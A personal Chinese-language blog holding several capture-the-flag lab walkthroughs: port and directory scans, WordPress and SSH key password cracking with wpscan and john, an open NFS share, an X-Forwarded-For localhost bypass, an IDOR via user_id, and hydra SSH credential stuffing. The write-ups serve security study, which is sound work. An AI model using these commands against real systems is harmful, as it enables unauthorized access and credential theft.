李乐意的博客

welcome to my blog~!

this is an example introduction. feel free to customize it!

add more lines to make it personal.

things i love:

  • coding
  • cats
  • coffee

tags:
@ 01/01/0001

端口扫描

22,80。

漏洞脚本扫描。

枚举到路径:

/robots.txt: Robots file
/phpinfo.php: Possible information file
/phpmyadmin/: phpMyAdmin

robots.txt

admin
wordpress
user
election

目录爆破

/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.30.128/javascript/]
/robots.txt           (Status: 200) [Size: 30]
/election             (Status: 301) [Size: 319] [--> http://192.168.30.128/election/]
/phpmyadmin           (Status: 301) [Size: 321] [--> http://192.168.30.128/phpmyadmin/]
/phpinfo.php          (Status: 200) [Size: 95437]
/server-status        (Status: 403) [Size: 279]

web网站路径/election。

是一个选举网站。仅有一位候选人。

image-20260105111609777

输入Love,1都没反应,admin1会提示错误,似乎是个静态网页?

image-20260105112104661

robots.txt下的路径可以拼接在/election后面。抓包发现并没有post请求,依旧是静态?

image-20260105112544239

对/election路径继续目录爆破。

/index.php            (Status: 200) [Size: 7003]
/media                (Status: 301) [Size: 325] [--> http://192.168.30.128/election/media/]
/themes               (Status: 301) [Size: 326] [--> http://192.168.30.128/election/themes/]
/data                 (Status: 301) [Size: 324] [--> http://192.168.30.128/election/data/]
/admin                (Status: 301) [Size: 325] [--> http://192.168.30.128/election/admin/]
/lib                  (Status: 301) [Size: 323] [--> http://192.168.30.128/election/lib/]
/languages            (Status: 301) [Size: 329] [--> http://192.168.30.128/election/languages/]
/js                   (Status: 301) [Size: 322] [--> http://192.168.30.128/election/js/]
/card.php             (Status: 200) [Size: 1935]

发现/card.php路径。

image-20260105113605994

tags:
@ 01/01/0001

端口扫描

wordpress专题

先目录扫描发现了/wrodpress目录。

利用wpsacn工具扫码,枚举用户。

wpsacn http://192.168.30.152 -e u
wpscan http://192.168.30.152 -U '' -P /usr/share/wordlist/rockyou.txt

破解出账号密码。从/wp-login.php登录。

webshell方法一

tags:
@ 01/01/0001

端口扫描

image-20250919164956800

NFS服务渗透

NFS:Network File Share(网络共享文件模式)。

使用showmount工具查看靶机是否有共享文件夹:

showmount -e 192.168.30.137

image-20250919165941636

  • -e表示exports,即靶机向外共享的到处列表,可以看到共享目录是/home/user/storage(这样也表明靶机很可能有一个名为user的用户),同时(everyone)表明任何人都可使用此共享目录。

因此我们可以创建一个目录tmp,尝试能否将这个共享的目录/home/user/storage映射到我们创建的目录:

mkdir tmp
mount -t nfs /home/user/storage tmp/ 

ls -liah tmp
cp tmp/backup.7z ./ 
# 然后负责到工作目录避免在挂载目录处理留下痕迹

解压文件

#看文件类型,是否绑定信息
file backup.7z
bindwalk backup.7z

# 解压
7z x backup.7z

解压需要密码。

image-20250919170605967

密码错误也会暴漏文件内容。

很明显存在ssh私钥和公钥。

image-20250919170639653

暴力破解解压

生成这个压缩包的hash。

7z2john backup.7z > backup7z_hash

使用john暴力破解。

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

image-20250919171717319

密码为chocolate。

解压文件。

image-20250919171805134

image-20250919171822414

hello kitty。使用file、bindwalk、exiftool、srings看了图片类型、绑定信息、隐写并无信息。

直接来到ssh私钥。

SSH私钥破解

拿私钥登录ssh。

ssh -i id_rsa user@192.168.30.137

image-20250919173908972

tags:
@ 01/01/0001

总结

  1. 端口扫描,开放的22,80端口,nmap默认脚本没扫出来漏洞,不过暴露了http服务的/image路径。

  2. 查看http服务,检查源代码,检查robots.txt文件,发现暴露了~myfiles路径

  3. 更具该路径命名,进行目录扫描暴露了/~secret路径,该路径下存放了隐藏文件。

    ffuf -u http://ip/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.html,.php -fc 403
    
  4. 继续扫描隐藏文件

    ffuf -u http://ip/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.html,.php -fc 403
    

    发现.mysecret.txt文件,该文件是icex64ssh私钥文件

  5. 分析该私钥文件,为base58加密,通过base58解密后。尝试认证登录。发现依旧需要密码。

    ssh -i id_rsa icex64@ip
    Enter passphrase for key 'id_rsa': 
    
  6. 继续破解该私钥的密码,使用ssh2john,生成hash文件。

    ssh2john id_rsa | tee ssh2_key_hash
    

    使用john破解hash。P@55w0rd!

    john ssh2_key_hash --wordlist=/usr/share/wordlists/fasttrack.txt ssh2_key_hash
    
  7. 使用破解出的密码登录到icex64用户。查看基础信息,家目录下发现另一个用户arsene

image-20250919180951734

信息收集。

icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User icex64 may run the following commands on LupinOne:
    (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
    
    
icex64@LupinOne:~$ find /* -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd

发现,icex64可以无密码使用arsene权限执行/usr/bin/python3.9 /home/arsene/heist.py

tags:
@ 01/01/0001

端口扫描

这里只有22和80。

服务探测

80端口下提示服务需要本地探测。源代码提示

image-20250927213510836

image-20250927213614262

这里修改x-forwarded-for值为127.0.0.1或localhost都可以绕过。

这里可以用bp抓包修改。我的谷歌中有hackbar可能版本太老,没有效果。

我这里直接用插件hackbar v2在火狐中使用。

image-20250927215237463

十分完美。

尝试注册,并登录。

image-20250927215343800

这里注意url已经变为。

http://192.168.30.145/index.php?page=dashboard&user_id=12

存在user_id参数,那么就通过修改看看能不能绕过用户身份的访问验证。没反应,应该是因为控制台页面的原因。

http://192.168.30.145/index.php?page=profile&user_id=12

重新尝试。越权成功。

image-20250927215801802

前端代码中密码是明文。

image-20250927220338182

ssh撞库

收集账号信息。

user.txt

eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
woleyi:woleyi

毕竟只开了22和80端口,收集的密码可以去ssh撞库。

hydra -C user.txt ssh://192.168.30.145

-C FILE colon separated "login:pass" format, instead of -L/-P options

image-20250927220930968

存在alice:4lic3账号ssh撞库成功。

提权

image-20250927221200899

发现flag1.txt。

my_notes.txt

Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes

bob?看来是个讨厌的同事。